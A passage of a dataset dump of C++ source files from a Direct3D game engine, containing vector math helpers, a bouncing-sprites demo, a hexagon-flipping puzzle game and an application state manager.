const;\r\n};\r\n\r\ninline Vector3::Vector3() \r\n\t: \r\nD3DXVECTOR3() \r\n{}\r\n\r\ninline Vector3::Vector3(const float* f) \r\n\t: \r\nD3DXVECTOR3(f) \r\n{}\r\n\r\ninline Vector3::Vector3(const D3DXFLOAT16* f)\r\n\t:\r\nD3DXVECTOR3(f) \r\n{}\r\n\r\ninline Vector3::Vector3(float vx, float vy, float vz) \r\n\t:\r\nD3DXVECTOR3(vx, vy, vz) \r\n{}\r\n\r\ninline Vector3::Vector3(const D3DXVECTOR3& v)\r\n\t:\r\nD3DXVECTOR3(v) \r\n{}\r\n\r\ninline void Vector3::set(float vx, float vy, float vz) \r\n{ \r\n\tx = vx; \r\n\ty = vy; \r\n\tz = vz; \r\n}\r\n\r\ninline float Vector3::length() const \r\n{ \r\n\treturn D3DXVec3Length(this); \r\n}\r\n\r\ninline float Vector3::lengthSq() const \r\n{ \r\n\treturn D3DXVec3LengthSq(this); \r\n}\r\n\r\ninline float Vector3::dot(const Vector3& v) const \r\n{ \r\n\treturn D3DXVec3Dot(this, &v); \r\n}\r\n\r\ninline Vector3 Vector3::cross(const Vector3& v) const \r\n{\r\n\tVector3 res;\r\n\tres.x = y * v.z - z * v.y;\r\n\tres.y = z * v.x - x * v.z;\r\n\tres.z = x * v.y - y * v.x;\r\n\treturn res;\r\n}\r\n\r\ninline void Vector3::normalize() \r\n{\r\n\tD3DXVec3Normalize(this, this);\r\n}\r\n\r\ninline Vector3 Vector3::getNormalized() const \r\n{\r\n\tVector3 v;\r\n\tD3DXVec3Normalize( &v, this );\r\n\treturn v;\r\n}\r\n\r\ninline Vector3::operator D3DXVECTOR3&() \r\n{ \r\n\treturn *this; \r\n}\r\n\r\ninline Vector3::operator const D3DXVECTOR3&() const \r\n{ \r\n\treturn *this; \r\n}\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.561430811882019, "alphanum_fraction": 0.6046656370162964, "avg_line_length": 22.371212005615234, "blob_id": "023bf421fee2e8a7a840bae705d24121beaf9f31", "content_id": "9d11ce11e8412f124b72b0a9c6058f471e2286fc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3215, "license_type": "no_license", "max_line_length": 110, "num_lines": 132, "path": "/samples/Sprites/Sprites.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"libraries.h\"\r\n\r\n#include \"Application.h\"\r\n#include \"Filesystem.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nclass SpriteDemo : public Application\r\n{\r\npublic:\r\n\tSpriteDemo(HINSTANCE instance, const std::string& name, const std::string& log_filename)\r\n\t\t:\r\n\tApplication(instance, name, log_filename)\r\n\t{\r\n\t\tFilesystem::init();\r\n\t}\r\n\r\n\tvirtual ~SpriteDemo() {}\r\n\r\n\tvirtual void initVideoDevice()\r\n\t{\r\n\t\tsettings->insert(\"video\", VideoSettings());\r\n\r\n\t\t(*settings)[\"video\"][\"ScreenWidth\"] = 800;\r\n\t\t(*settings)[\"video\"][\"ScreenHeight\"] = 600;\r\n\t\t(*settings)[\"video\"][\"VSync\"] = false;\r\n\t\t(*settings)[\"video\"][\"Fullscreen\"] = false;\r\n\r\n\t\twindow = WindowPtr(new Window(instance, name));\r\n\t\tvideo_device->init(window);\r\n\t}\r\n\r\n\tvirtual void init()\r\n\t{\r\n\t\tsprite_batch = video_device->createSpriteBatch(main_renderer, 800, 600, 1000);\r\n\r\n\t\t// Load textures\r\n\t\ttex_balls = video_device->getTextureManager()->loadTexture2D(\"balls\", Filesystem::redirect(\"balls.png\"));\r\n\t\ttex_blocks = video_device->getTextureManager()->loadTexture2D(\"blocks\", Filesystem::redirect(\"blocks.png\"));\r\n\r\n\t\t// Generate texture source rectangles\r\n\t\tfor(int i = 0; i < 7; ++i)\r\n\t\t\tsrc_balls[i] = RectF(64.0f * float(i), 0.0f, 64.0f, 64.0f);\r\n\r\n\t\tfor(int i = 0; i < 8; ++i)\r\n\t\t\tsrc_blocks[i] = RectF(32.0f * float(i % 4), 32.0f * float(i / 4), 32.0f, 32.0f);\r\n\r\n\t\t// Initialize ball positions and velocities\r\n\t\tsrand(0);\r\n\t\tfor(int i = 0; i < n_balls; ++i)\r\n\t\t{\r\n\t\t\tint x = rand()%(800-64);\r\n\t\t\tint y = rand()%(600-64);\r\n\t\t\t\r\n\t\t\tpos_balls[i] = Vector2(float(x), float(y));\r\n\t\t\tvel_balls[i] = Vector2(float(x - 400), float(y - 300)).getNormalized();\r\n\t\t}\r\n\t}\r\n\r\n\tvirtual bool update()\r\n\t{\r\n\t\t// Update balls\r\n\t\tfor(int i = 0; i < n_balls; ++i)\r\n\t\t{\r\n\t\t\tpos_balls[i] += vel_balls[i] * (Timer::getTimeScale()*100.0f);\r\n\r\n\t\t\tif(pos_balls[i].x < 0.0f || pos_balls[i].x > (800.0-64.0))\r\n\t\t\t\tvel_balls[i].x *= -1;\r\n\r\n\t\t\tif(pos_balls[i].y < 0.0f || pos_balls[i].y > (600.0-64.0))\r\n\t\t\t\tvel_balls[i].y *= -1;\r\n\t\t}\r\n\r\n\t\treturn true;\r\n\t}\r\n\r\n\tvirtual bool render()\r\n\t{\r\n\t\tvideo_device->beginScene();\r\n\r\n\t\tint offset = (Timer::getTimeMs() / 20) % 32;\r\n\r\n\t\t// Fill background with rectangles\r\n\t\tfor(int y = 0; y < 20; ++y)\r\n\t\t\tfor(int x = 0; x < 26; ++x)\r\n\t\t\t\tsprite_batch->draw(tex_blocks, 0, src_blocks[(x+(19-y))&7], \r\n\t\t\t\tVector2(32.0f * float(x) - float(offset), 32.0f * float(y) - float(offset)));\r\n\r\n\t\t// Draw balls\r\n\t\tfor(int i = 0; i < n_balls; ++i)\r\n\t\t\tsprite_batch->draw(tex_balls, 1, src_balls[i%7], pos_balls[i], Color(255, 255, 255, 128));\r\n\t\t\r\n\t\tsprite_batch->present();\r\n\r\n\t\tmain_renderer->render();\r\n\r\n\t\tvideo_device->endScene();\t\r\n\r\n\t\tmain_renderer->endFrame();\r\n\r\n\t\treturn true;\r\n\t}\r\n\r\nprivate:\r\n\tstatic const uint n_balls = 1000;\r\n\r\n\tSpriteBatchPtr sprite_batch;\r\n\r\n\tTexture2DPtr tex_balls;\r\n\tTexture2DPtr tex_blocks;\r\n\r\n\tRectF src_balls[7];\r\n\tRectF src_blocks[8];\r\n\r\n\tVector2 vel_balls[n_balls];\r\n\tVector2 pos_balls[n_balls];\r\n};\r\n\r\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR pCmdLine, int nShowCmd)\r\n{\r\n\tSpriteDemo demo(hInstance, \"Sprites Demo\", \"SpritesDemo.log\");\r\n\ttry\r\n\t{\r\n\t\tdemo.run();\r\n\t}\r\n\tcatch (std::exception& e)\r\n\t{\r\n\t\tMessageBox(NULL, e.what(), \"Fatal error\", NULL);\r\n\t}\r\n\treturn 0;\r\n}" }, { "alpha_fraction": 0.5248630046844482, "alphanum_fraction": 0.5572211146354675, "avg_line_length": 22.93041229248047, "blob_id": "fc8bdaa37b5f38781b19a21f794c3706ec4d60f1", "content_id": "4f5d8df58f5b51c15fe8faa32c439a2bf3adc952", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 9673, "license_type": "no_license", "max_line_length": 132, "num_lines": 388, "path": "/apps/Hexaflip/Hexaflip.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"libraries.h\"\r\n\r\n#include \"Application.h\"\r\n#include \"Filesystem.h\"\r\n#include \"DefaultGUIStyle.h\"\r\n#include \"Random.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nconst uint screen_width = 800;\r\nconst uint screen_height = 600;\r\nfloat shrink_ratio = 0.9f;\r\nfloat hex_radius = 32.0f;\r\nfloat gap = 0.7f;\r\n\r\nconst Color red(196, 64, 64);\r\nconst Color blue(64, 64, 196);\r\n\r\nconst Vector2 board_pos(64.0f, 64.0f);\r\n\r\nclass Hexaflip: public Application\r\n{\r\npublic:\r\n\tHexaflip(HINSTANCE instance, const std::string& name, const std::string& log_filename)\r\n\t\t: Application(instance, name, log_filename)\r\n\t{\r\n\t\tFilesystem::init();\r\n\t}\r\n\r\n\tvirtual ~Hexaflip()\r\n\t{\r\n\t}\r\n\r\n\tvirtual void initVideoDevice()\r\n\t{\r\n\t\tsettings->insert(\"video\", VideoSettings());\r\n\r\n\t\t(*settings)[\"video\"][\"ScreenWidth\"] = 1024;\r\n\t\t(*settings)[\"video\"][\"ScreenHeight\"] = 768;\r\n\t\t(*settings)[\"video\"][\"VSync\"] = true;\r\n\t\t(*settings)[\"video\"][\"Fullscreen\"] = false;\r\n\r\n\t\twindow = WindowPtr(new Window(instance, name));\r\n\t\twindow->showCursor(false);\r\n\t\tvideo_device->init(window);\r\n\t}\r\n\r\n\tint row_width(int row)\r\n\t{\r\n\t\tint width;\r\n\t\tif(row < size)\r\n\t\t\twidth = row+1;\r\n\t\telse if(row > board_height - size)\r\n\t\t\twidth = board_height - row;\r\n\t\telse\r\n\t\t\twidth = (row - size) % 2 ? size : size - 1;\r\n\t\treturn width;\r\n\t}\r\n\r\n\tvoid draw_hex(const Vector2& center, float r, const Color& color)\r\n\t{\r\n\t\thex_batch->draw(Texture2DPtr(), 0, RectF(0.0f, 0.0f, 1.0f, 1.0f), RectF(center - Vector2(r, r), Vector2(2.0f*r, 2.0f*r)), color); \r\n\t}\r\n\r\n\tvoid draw_board(const Vector2& pos, int size)\r\n\t{\r\n\t\tfor(int y = 0; y < board_height; ++y)\r\n\t\t{\r\n\t\t\tint width = row_width(y);\r\n\r\n\t\t\tfloat x_shift;\r\n\t\t\tif(size%2)\r\n\t\t\t\tx_shift = float((size - width) / 2) * (hex_radius + gap) * 3.0f;\r\n\t\t\telse\r\n\t\t\t\tx_shift = float((size + 1 - width) / 2) * (hex_radius + gap) * 3.0f - (hex_radius + gap) * 1.5f;\r\n\r\n\t\t\tfloat x_start = pos.x + (y%2 ? (hex_radius + gap) * 1.5f: 0.0f) + x_shift;\r\n\t\t\tfloat y_coord = pos.y + float(y) * (hex_radius + gap) * sqrt(3.0f) / 2.0f;\r\n\t\t\tfor(int x = 0; x < width; x++)\r\n\t\t\t{\r\n\t\t\t\tuint state = cell_state[y * board_width + x];\r\n\t\t\t\tfloat size = cell_size[y * board_width + x];\r\n\t\t\t\tfloat radius = hex_radius * size;\r\n\r\n\t\t\t\tif(state & FLIPPING)\r\n\t\t\t\t{\r\n\t\t\t\t\tColor col = Color::lerp(blue, red, state&1 ? 1.0f - size : size); \r\n\t\t\t\t\tdraw_hex(Vector2(x_start + float(x*2) * (hex_radius + gap) * 1.5f, y_coord), hex_radius * shrink_ratio, col);\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\r\n\t\t\t\tif(state & 1)\r\n\t\t\t\t\tdraw_hex(Vector2(x_start + float(x*2) * (hex_radius + gap) * 1.5f, y_coord), radius, blue);\r\n\t\t\t\telse\r\n\t\t\t\t\tdraw_hex(Vector2(x_start + float(x*2) * (hex_radius + gap) * 1.5f, y_coord), radius, red);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tbool collide_point_to_hex(const Vector2& p, const Vector2& c, float r)\r\n\t{\r\n\t\tconst Vector2 pt(p - c);\r\n\t\tif(pt.lengthSq() > r*r)\r\n\t\t\treturn false;\r\n\r\n\t\tconst Vector3 line1(cos(radians(30.0f)), sin(radians(30.0f)), sqrt(3.0f) / 2.0f * r);\r\n\t\tconst Vector3 line2(cos(radians(330.0f)), sin(radians(330.0f)), sqrt(3.0f) / 2.0f * r);\r\n\t\tconst Vector3 line3(cos(radians(150.0f)), sin(radians(150.0f)), sqrt(3.0f) / 2.0f * r);\r\n\t\tconst Vector3 line4(cos(radians(210.0f)), sin(radians(210.0f)), sqrt(3.0f) / 2.0f * r);\r\n\r\n\t\tfloat d1 = (line1.x * pt.x) + (line1.y * pt.y) + line1.z;\r\n\t\tfloat d2 = (line2.x * pt.x) + (line2.y * pt.y) + line2.z;\r\n\t\tfloat d3 = (line3.x * pt.x) + (line3.y * pt.y) + line3.z;\r\n\t\tfloat d4 = (line4.x * pt.x) + (line4.y * pt.y) + line4.z;\r\n\r\n\t\tfloat mind = min(min(d1, d2), min(d3, d4));\r\n\r\n\t\treturn mind > 0.0f;\r\n\t}\r\n\r\n\tvoid handle_mouse(const Vector2& pos, int size)\r\n\t{\r\n\t\tMousePos mouse = input->getMouse()->getAbsolutePos();\r\n\t\tVector2 mousef(float(mouse.x), float(mouse.y));\r\n\r\n\t\tfor(int y = 0; y < board_height; ++y)\r\n\t\t{\r\n\t\t\tfloat y_coord = pos.y + float(y) * (hex_radius + gap) * sqrt(3.0f) / 2.0f;\r\n\r\n\t\t\tif(abs(mousef.y - y_coord) > sqrtf(3.0f) / 2.0f * hex_radius)\r\n\t\t\t\tcontinue;\r\n\r\n\t\t\tint width = row_width(y);\r\n\r\n\t\t\tfloat x_shift;\r\n\t\t\tif(size%2)\r\n\t\t\t\tx_shift = float((size - width) / 2) * (hex_radius + gap) * 3.0f;\r\n\t\t\telse\r\n\t\t\t\tx_shift = float((size + 1 - width) / 2) * (hex_radius + gap) * 3.0f - (hex_radius + gap) * 1.5f;\r\n\r\n\t\t\tfloat x_start = pos.x + (y%2 ? (hex_radius + gap) * 1.5f : 0.0f) + x_shift;\t\t\t\r\n\t\t\tfor(int x = 0; x < width; x++)\r\n\t\t\t{\r\n\t\t\t\tVector2 center(x_start + float(x*2) * (hex_radius + gap) * 1.5f, y_coord);\r\n\r\n\t\t\t\tif(abs(mousef.x - center.x) > hex_radius)\r\n\t\t\t\t\tcontinue;\r\n\r\n\t\t\t\tif(collide_point_to_hex(mousef, center, hex_radius))\r\n\t\t\t\t{\r\n\t\t\t\t\tmark_cross(direction, input->getMouse()->isButtonDown(Mouse::BTN_LEFT), x, y);\r\n\r\n\t\t\t\t\tcell_state[y * board_width + x] |= HOT;\r\n\t\t\t\t\tif(input->getMouse()->isButtonDown(Mouse::BTN_LEFT))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tcell_state[y * board_width + x] |= FLIPPING;\r\n\t\t\t\t\t\tdirection = !direction;\r\n\t\t\t\t\t}\r\n\t\t\t\t\treturn;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tvoid scramble(uint steps)\r\n\t{\r\n\t\tRandom r;\r\n\t\t\r\n\t\tdirection = false;\r\n\t\twhile(steps--)\r\n\t\t{\r\n\t\t\tint y = r.randInt(0, board_height);\r\n\t\t\tint x = r.randInt(0, row_width(y));\r\n\r\n\t\t\tmark_cross(direction, true, x, y);\r\n\t\t\tcell_state[y * board_width + x] |= FLIPPING;\r\n\r\n\t\t\tdirection = !direction;\r\n\r\n\t\t\tfor(uint i = 0; i < cell_state.size(); ++i)\r\n\t\t\t{\r\n\t\t\t\tuint& state = cell_state[i];\r\n\r\n\t\t\t\tif(state & FLIPPING)\r\n\t\t\t\t{\r\n\t\t\t\t\tstate &= 1;\r\n\t\t\t\t\tstate ^= 1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tdirection = false;\r\n\t}\r\n\r\n\tvoid mark_cross(bool type, bool flip, int x, int y)\r\n\t{\r\n\t\tint width = row_width(y);\r\n\t\tx = x*2 + size - width;\r\n\r\n\t\tuint flip_col = flip ? 1 : 0;\r\n\t\tuint set_flip = flip ? FLIPPING : 0;\r\n\r\n\t\tint ny = y;\r\n\t\tif(type)\r\n\t\t{\r\n\t\t\twhile((ny+=2) < board_height)\r\n\t\t\t{\r\n\t\t\t\twidth = row_width(ny);\r\n\t\t\t\tint nx = (x - (size - width))/2;\r\n\t\t\t\tif(nx >= 0 && nx < width)\r\n\t\t\t\t{\r\n\t\t\t\t\tcell_state[ny * board_width + nx] |= HOT | set_flip;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tny = y;\r\n\t\t\twhile(--ny >= 0)\r\n\t\t\t{\r\n\t\t\t\twidth = row_width(ny);\r\n\t\t\t\tint nx1 = ((x + y - ny) - (size - width))/2;\r\n\t\t\t\tint nx2 = ((x - y + ny) - (size - width))/2;\r\n\t\t\t\tif(nx1 >= 0 && nx1 < width)\r\n\t\t\t\t{\r\n\t\t\t\t\tcell_state[ny * board_width + nx1] |= HOT | set_flip;\r\n\t\t\t\t}\r\n\t\t\t\tif(nx2 >= 0 && nx2 < width)\r\n\t\t\t\t{\r\n\t\t\t\t\tcell_state[ny * board_width + nx2] |= HOT | set_flip;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\twhile((ny-=2) >= 0)\r\n\t\t\t{\r\n\t\t\t\twidth = row_width(ny);\r\n\t\t\t\tint nx = (x - (size - width))/2;\r\n\t\t\t\tif(nx >= 0 && nx < width)\r\n\t\t\t\t{\r\n\t\t\t\t\tcell_state[ny * board_width + nx] |= HOT | set_flip;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tny = y;\r\n\t\t\twhile(++ny < board_height)\r\n\t\t\t{\r\n\t\t\t\twidth = row_width(ny);\r\n\t\t\t\tint nx1 = ((x + y - ny) - (size - width))/2;\r\n\t\t\t\tint nx2 = ((x - y + ny) - (size - width))/2;\r\n\t\t\t\tif(nx1 >= 0 && nx1 < width)\r\n\t\t\t\t{\r\n\t\t\t\t\tcell_state[ny * board_width + nx1] |= HOT | set_flip;\r\n\t\t\t\t}\r\n\t\t\t\tif(nx2 >= 0 && nx2 < width)\r\n\t\t\t\t{\r\n\t\t\t\t\tcell_state[ny * board_width + nx2] |= HOT | set_flip;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tvoid update_sizes()\r\n\t{\r\n\t\tfor(int y = 0; y < board_height; ++y)\r\n\t\t{\r\n\t\t\tint width = row_width(y);\r\n\t\t\tfor(int x = 0; x < width; ++x)\r\n\t\t\t{\r\n\t\t\t\tfloat& size = cell_size[y * board_width + x];\r\n\t\t\t\tuint& state = cell_state[y * board_width + x];\r\n\r\n\t\t\t\tif(state & FLIPPING)\r\n\t\t\t\t{\r\n\t\t\t\t\tsize -= 10.0f * Timer::getTimeScale();\r\n\t\t\t\t\tif(size < 0.0f)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tsize = shrink_ratio;\r\n\t\t\t\t\t\tstate |= HOT;\r\n\t\t\t\t\t\tstate &= ~FLIPPING;\r\n\t\t\t\t\t\tstate ^= 1;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\tif(state & HOT)\r\n\t\t\t\t{\r\n\t\t\t\t\tsize -= 2.0f * Timer::getTimeScale();\r\n\t\t\t\t\tsize = max(size, shrink_ratio);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\tsize += 1.0f * Timer::getTimeScale();\r\n\t\t\t\t\tsize = min(size, 1.0f);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t}\r\n\r\n\tvirtual void init()\r\n\t{\r\n\t\tinput->getMouse()->setVirtualResolution(screen_width, screen_height);\r\n\r\n\t\tsprite_batch = video_device->createSpriteBatch(main_renderer, screen_width, screen_height, 1);\r\n\t\tDefaultGUIStylePtr gui_style = DefaultGUIStylePtr(new DefaultGUIStyle(sprite_batch));\r\n\t\tgui = GUIPtr(new GUI(gui_style, input));\r\n\r\n\t\tEffectPtr hex_effect = effect_manager->load(\"HexBatch\", Filesystem::redirect(\"HexBatch.fx\"));\r\n\t\teffect_manager->remove(hex_effect->getId());\r\n\t\thex_effect = effect_manager->load(\"HexBatch\", Filesystem::redirect(\"HexBatch.fx\"));\r\n\t\thex_batch = video_device->createSpriteBatch(main_renderer, screen_width, screen_height, 0);\r\n\t\thex_batch->setEffect(hex_effect);\r\n\r\n\t\tsize = 5;\r\n\t\tboard_width = size;\r\n\t\tboard_height = (size*2 - 1) + (size*2 - 2);\r\n\t\tcell_state.assign(board_width * board_height, RED);\r\n\t\tcell_size.assign(board_width * board_height, 1.0f);\r\n\r\n\t\tscramble(3);\r\n\t}\r\n\r\n\tvirtual bool update()\r\n\t{\r\n\t\tinput->getMouse()->update();\r\n\r\n\t\tfor(uint i = 0; i < cell_state.size(); ++i)\r\n\t\t\tcell_state[i] &= ~HOT;\r\n\r\n\t\thandle_mouse(board_pos, size);\r\n\t\tupdate_sizes();\r\n\t\treturn true;\r\n\t}\r\n\r\n\tvirtual bool render()\r\n\t{\r\n\t\tvideo_device->setClearColor(Color(255, 255, 255));\r\n\t\tvideo_device->beginScene();\r\n\r\n\t\tdraw_board(board_pos, size);\r\n\r\n\t\t//gap = (gui->doSlider(Vector2(500.0f, 10.0f)) - 0.5f) * 64.0f;\r\n\t\t//hex_radius = (gui->doSlider(Vector2(500.0f, 60.0f))) * 64.0f;\r\n\r\n\t\tgui->present();\r\n\t\tsprite_batch->present();\r\n\t\thex_batch->present();\r\n\t\tmain_renderer->render();\r\n\t\tvideo_device->endScene();\r\n\t\tmain_renderer->endFrame();\r\n\r\n\t\treturn true;\r\n\t}\r\n\r\nprivate:\r\n\tSpriteBatchPtr hex_batch;\r\n\tSpriteBatchPtr sprite_batch;\r\n\tGUIPtr gui;\r\n\r\n\tenum CellState\r\n\t{\r\n\t\tRED = 0,\r\n\t\tBLUE = 1,\r\n\t\tHOT = 2,\r\n\t\tFLIPPING = 4\r\n\t};\r\n\r\n\tint size, board_width, board_height;\r\n\tstd::vector<uint> cell_state;\r\n\tstd::vector<float> cell_size;\r\n\r\n\tbool direction;\r\n};\r\n\r\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR pCmdLine, int nShowCmd)\r\n{\r\n\ttry\r\n\t{\r\n\t\tHexaflip app(hInstance, \"Hexaflip\", \"hexaflip.log\");\r\n\t\tapp.run();\r\n\t}\r\n\tcatch (std::exception& e)\r\n\t{\r\n\t\tMessageBox(NULL, e.what(), \"Fatal error\", NULL);\r\n\t}\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.6462804079055786, "alphanum_fraction": 0.6514663696289062, "avg_line_length": 22.86222267150879, "blob_id": "f56f520f0c4fde8f4f1909aabe4db8960df0441d", "content_id": "d7f1b57030ec3ff3c4e2ecb12554ce838aecb433", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5592, "license_type": "no_license", "max_line_length": 106, "num_lines": 225, "path": "/source/StateManager.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef STATE_MANAGER_H\r\n#define STATE_MANAGER_H\r\n\r\n#include \"Exception.h\"\r\n#include \"Timer.h\"\r\n#include \"VideoDevice.h\"\r\n#include \"Renderer.h\"\r\n#include \"Input.h\"\r\n#include \"Engine.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nclass StateManager;\r\n\r\n/// %Application state\r\nclass State\r\n{\r\npublic:\r\n\t/// Constructor\r\n\tState(RendererPtr main_renderer)\r\n\t\t: main_renderer(main_renderer)\r\n\t{\r\n\t\tEngine e;\r\n\t\tvideo_device = e.getVideoDevice();\r\n\t\tinput = e.getInput();\r\n\t}\r\n\r\n\t/// Called when this state is passed to StateManager::setState\r\n\tvirtual void init() {};\r\n\t/// Called on StateManager destruction\r\n\tvirtual void close() {};\r\n\r\n\t/// Called before making this state active\r\n\tvirtual void activate(const StateManager& state_manager) {};\r\n\t/// Called before making other state active\r\n\tvirtual void deactivate(const StateManager& state_manager) {};\r\n\r\n\t/// Called once per frame, before rendering\r\n\tvirtual void update(const StateManager& state_manager) {};\r\n\t/// Called once per frame. All rendering must happen here.\r\n\tvirtual void render(const StateManager& state_manager) = 0;\r\n\t/// Called when fading this state in/out. \r\n\t/// \\param state_manager StateManager responsible for this state\r\n\t/// \\param amount Number in range 0.0 - 1.0. Should be used as transition coefficient. \r\n\t/// \\param from ID of state which is faded out\r\n\t/// \\param to ID of state which is faded in\r\n\tvirtual void fade(const StateManager& state_manager, float amount, uint from, uint to) = 0;\r\n\r\nprotected:\r\n\tVideoDevicePtr video_device;\r\n\tRendererPtr main_renderer;\r\n\tInputPtr input;\r\n};\r\n\r\ntypedef boost::shared_ptr<State> StatePtr;\r\n\r\n/// Manages State objects\r\nclass StateManager : public boost::noncopyable\r\n{\r\npublic:\r\n\t/// Constructor\r\n\t/// \\param state_count Number of states to manage. This is constant and cannot change!\r\n\t/// \\param fade_speed Amount of time in seconds how long transition from one state to another will last. \r\n\t///\tCan pass 0 for no transitions\r\n\tStateManager(uint state_count, float fade_speed = 1.0f)\r\n\t\t: state_count(state_count), fade_speed(fade_speed)\r\n\t{\r\n\t\tStatePtr dummy;\r\n\t\tstates.assign(state_count, dummy);\r\n\t}\r\n\r\n\t/// Destructor\r\n\t~StateManager()\r\n\t{\r\n\t\tfor(uint i = 0; i < state_count; ++i)\r\n\t\t{\r\n\t\t\tif(states[i])\r\n\t\t\t\tstates[i]->close();\r\n\t\t}\r\n\t}\r\n\r\n\t/// Assigns state to id number\r\n\t/// \\param id Identifier, must be in range 0 - state_count-1\r\n\t/// \\param state State to assign\r\n\tvoid setState(uint id, StatePtr state)\r\n\t{\r\n\t\tif(id >= state_count)\r\n\t\t\tthrow EXCEPTION(\"Invalid state id!\");\r\n\t\t\r\n\t\tstates[id] = state;\r\n\t\tstate->init();\r\n\t}\r\n\t\r\n\t/// Returns state with provided id\r\n\tStatePtr getState(uint id) const\r\n\t{\r\n\t\tif(id >= state_count)\r\n\t\t\tthrow EXCEPTION(\"Invalid state id!\");\r\n\r\n\t\treturn states[id];\r\n\t}\r\n\r\n\t/// Returns active state id or -1 if no state is active (e.g. transition)\r\n\tuint getActiveStateId() const\r\n\t{\r\n\t\treturn active_state;\r\n\t}\r\n\r\n\t/// Makes state with provided id active, pushes it onto stack.\r\n\tvoid pushState(uint id) const\r\n\t{\r\n\t\tif(!states[id])\r\n\t\t\tthrow EXCEPTION(\"Trying to push invalid state onto stack!\");\r\n\r\n\t\tfade_from = state_stack.empty() ? ~0 : state_stack.top();\r\n\t\tstate_stack.push(id);\r\n\t\tfade_to = id;\r\n\r\n\t\tif(fade_from != ~0)\r\n\t\t\tstates[fade_from]->deactivate(*this);\r\n\r\n\t\tif(state_stack.size() > 1)\r\n\t\t{\r\n\t\t\tactive_state = state_fading;\r\n\t\t\tfade_start = Timer::getTimeStamp();\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tactive_state = id;\r\n\t\t\tstates[id]->activate(*this);\r\n\t\t}\r\n\t}\r\n\r\n\t/// Pops topmost state from stack, makes one below it active.\r\n\tvoid popState() const\r\n\t{\r\n\t\tstates[state_stack.top()]->deactivate(*this);\r\n\t\tif(state_stack.size() > 1)\r\n\t\t{\r\n\t\t\tfade_from = state_stack.top();\r\n\t\t\tstate_stack.pop();\r\n\t\t\tfade_to = state_stack.top();\r\n\t\t\tactive_state = state_fading;\r\n\t\t\tfade_start = Timer::getTimeStamp();\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tstate_stack.pop();\r\n\t\t}\r\n\t}\r\n\r\n\t/// Swaps top of stack with provided state.\r\n\tvoid switchState(uint id) const\r\n\t{\r\n\t\tif(!states[id])\r\n\t\t\tthrow EXCEPTION(\"Trying to switch to invalid state!\");\r\n\r\n\t\tstates[state_stack.top()]->deactivate(*this);\r\n\r\n\t\tfade_from = state_stack.top();\r\n\t\tfade_to = id;\r\n\t\tstate_stack.pop();\r\n\t\tstate_stack.push(id);\r\n\t\tactive_state = state_fading;\r\n\t\tfade_start = Timer::getTimeStamp();\r\n\t}\r\n\r\n\t/// Calls update function of active state (if not in transition).\r\n\t/// \\returns false if state stack is empty, true otherwise.\r\n\tbool update()\r\n\t{\r\n\t\tif(state_stack.empty())\r\n\t\t\treturn false;\r\n\r\n\t\tif(active_state != state_fading)\r\n\t\t{\r\n\t\t\tstates[active_state]->update(*this);\r\n\t\t}\r\n\r\n\t\treturn true;\r\n\t}\r\n\r\n\t/// Calls render function of active state (if not in transition), or fade functions of two fading states.\r\n\t/// \\returns false if state stack is empty, true otherwise.\r\n\tbool render()\r\n\t{\r\n\t\tif(state_stack.empty())\r\n\t\t\treturn false;\r\n\r\n\t\tif(active_state == state_fading)\r\n\t\t{\r\n\t\t\tTimeStamp diff = Timer::getTimeStamp() - fade_start;\r\n\t\t\tfloat amount = static_cast<float>(diff.toMiliSec()) / (fade_speed * 1000.0f);\r\n\r\n\t\t\tif(amount > 1.0f)\r\n\t\t\t{\r\n\t\t\t\tactive_state = fade_to;\r\n\t\t\t\tstates[active_state]->activate(*this);\r\n\t\t\t\tstates[active_state]->render(*this);\r\n\t\t\t\treturn true;\r\n\t\t\t}\r\n\r\n\t\t\tstates[fade_from]->fade(*this, 1.0f - amount, ~0, fade_to);\r\n\t\t\tstates[fade_to]->fade(*this, amount, fade_from, ~0);\r\n\t\t\treturn true;\r\n\t\t}\r\n\r\n\t\tstates[active_state]->render(*this);\r\n\t\treturn true;\r\n\t}\r\n\r\nprivate:\r\n\tstatic const uint state_fading = ~0;\r\n\tconst float fade_speed;\r\n\tconst uint state_count;\r\n\t\r\n\tstd::vector<StatePtr> states;\r\n\tmutable std::stack<uint> state_stack;\r\n\tmutable uint active_state, fade_to, fade_from;\r\n\tmutable TimeStamp fade_start;\r\n};\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.6576724052429199, 